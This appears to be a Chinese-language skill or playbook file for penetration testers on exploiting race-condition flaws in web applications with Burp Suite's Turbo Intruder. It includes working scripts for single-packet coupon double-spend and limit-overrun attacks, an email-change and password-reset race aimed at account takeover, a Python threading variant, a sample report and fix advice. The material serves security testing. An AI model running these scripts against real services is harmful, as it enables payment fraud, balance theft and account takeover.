| name | exploiting-race-condition-vulnerabilities |
| description | 使用 Turbo Intruder 的单包攻击技术检测并利用 Web 应用程序中的竞态条件漏洞,绕过速率限制、重复交易以及利用检查时间与使用时间(TOCTOU)缺陷。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["race-condition","turbo-intruder","toctou","concurrency","single-packet-attack","limit-overrun","burp-suite"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用竞态条件漏洞(Exploiting Race Condition Vulnerabilities)
适用场景
- 测试具有基于事务功能的应用程序(支付、转账、优惠券)时
- 评估速率限制或尝试次数限制机制期间
- 测试多步骤工作流程(注册、密码重置、MFA)时
- 在针对状态更改操作中逻辑缺陷的漏洞奖励计划中
- 评估具有库存或余额管理系统的应用程序时
前置条件
- 安装了 Turbo Intruder 扩展的 Burp Suite Professional
- 了解 HTTP/2 单包攻击技术
- 用于自定义 Turbo Intruder 脚本的 Python 脚本能力
- 了解 TOCTOU(检查时间与使用时间)漏洞
- 具有状态更改操作(购买、投票、转账)的目标应用程序
- 用于测试跨用户竞态条件的多个用户账户
工作流程
步骤 1:识别竞态条件攻击面
# 常见竞态条件目标:
# - 优惠券/折扣码兑换(限制:每用户一次)
# - 账户余额转账
# - 库存购买(限量库存)
# - 速率限制操作(登录尝试、短信验证)
# - 多步骤工作流程(电子邮件更改 + 密码重置)
# - 文件上传 + 处理管道
# 在 Burp Suite 中捕获目标请求
# 发送到 Turbo Intruder(Extensions > Turbo Intruder > Send to Turbo Intruder)
步骤 2:在 Turbo Intruder 中配置单包攻击
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
步骤 3:执行限制超限攻击
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=50,
engine=Engine.BURP2)
for i in range(50):
engine.queue(target.req, gate='coupon_race')
engine.openGate('coupon_race')
def handleResponse(req, interesting):
if req.status == 200:
table.add(req)
步骤 4:利用多端点竞态条件
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json
{"email":"attacker@evil.com"}'''
password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json
{"email":"victim@target.com"}'''
engine.queue(email_change, gate='race1')
engine.queue(password_reset, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
步骤 5:使用 Python 线程替代方案测试
import threading
import requests
TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"
def send_request():
response = requests.post(
TARGET_URL,
json={"coupon": COUPON_CODE},
headers={"Cookie": SESSION_COOKIE},
timeout=10
)
print(f"状态: {response.status_code}, 响应: {response.text[:100]}")
barrier = threading.Barrier(20)
def synchronized_request():
barrier.wait()
send_request()
threads = [threading.Thread(target=synchronized_request) for _ in range(20)]
for t in threads:
t.start()
for t in threads:
t.join()
步骤 6:分析结果并确认利用
# 在 Turbo Intruder 结果中:
# - 按状态码排序以识别成功请求
# - 比较响应长度以找到异常
# - 检查是否有多个请求成功(确认限制超限)
# - 验证后端状态(余额、库存、优惠券计数)
# 记录竞态窗口时序
# 成功的竞态条件通常需要:
# - HTTP/2 单包攻击:约 30 秒找到
# - 最后一字节同步(HTTP/1.1):约 2 小时以上找到
# - 基于线程的方法:可变,可靠性较低
核心概念
| 概念 | 定义 |
|---|
| TOCTOU | 检查时间与使用时间缺陷,状态在验证和操作之间发生变化 |
| 单包攻击(Single-Packet Attack) | 在一个 TCP 包中发送多个 HTTP/2 请求以实现精确同步 |
| 最后一字节同步(Last-Byte Sync) | HTTP/1.1 技术,保留多个请求的最后一个字节然后同时释放 |
| 限制超限(Limit Overrun) | 通过利用验证逻辑中的竞态窗口超过一次性使用限制 |
| 隐藏状态机(Hidden State Machine) | 利用多步骤应用程序工作流程中的过渡状态 |
| Gate 机制(Gate Mechanism) | Turbo Intruder 功能,保留请求直到全部排队,然后同时释放 |
| 连接预热(Connection Warming) | 预先建立连接以减少竞态条件攻击中的网络抖动 |
工具与系统
| 工具 | 用途 |
|---|
| Turbo Intruder | 用于高速竞态条件利用的 Burp Suite 扩展 |
| Burp Suite Repeater | 用于基本竞态条件测试的组发送功能 |
| Nuclei | 带有竞态条件检测模板的基于模板的扫描器 |
| Python threading | 自定义多线程竞态条件脚本 |
| racepwn | 专用竞态条件测试框架 |
| asyncio/aiohttp | 用于并发请求发送的 Python 异步 HTTP |
常见场景
- 优惠券双重消费 — 通过在服务器将优惠券标记为已使用之前发送并发兑换请求,多次兑换一次性优惠券
- 余额透支 — 通过发送每次都通过余额检查的同时转账请求,转移超过可用余额的资金
- MFA 绕过 — 同时提交多个 MFA 代码以绕过验证尝试的速率限制
- 库存操纵 — 通过利用库存递减逻辑中的竞态条件,购买超过可用库存的商品
- 账户注册绕过 — 通过提交并发注册请求,使用相同电子邮件创建多个账户
输出格式
## 竞态条件评估报告
- **目标**: http://target.com/api/redeem-coupon
- **技术**: 通过 Turbo Intruder 进行 HTTP/2 单包攻击
- **并发请求**: 20
- **成功利用次数**: 20 次中 4 次
### 发现
| # | 端点 | 操作 | 预期 | 实际 | 严重性 |
|---|----------|-----------|----------|--------|----------|
| 1 | POST /redeem-coupon | 单次使用优惠券 | 1 次兑换 | 4 次兑换 | 高 |
| 2 | POST /transfer | 余额转账 | 受余额限制 | 实现透支 | 严重 |
### 竞态窗口分析
- HTTP/2 单包:<30 秒内可靠利用
- 成功率:每批 20 次请求约 20%
- 估计竞态窗口:50-100 毫秒
### 修复建议
- 对关键操作实施数据库级别锁定(SELECT FOR UPDATE)
- 使用带版本号的乐观并发控制
- 对状态更改请求应用幂等键
- 为多服务器环境实施分布式锁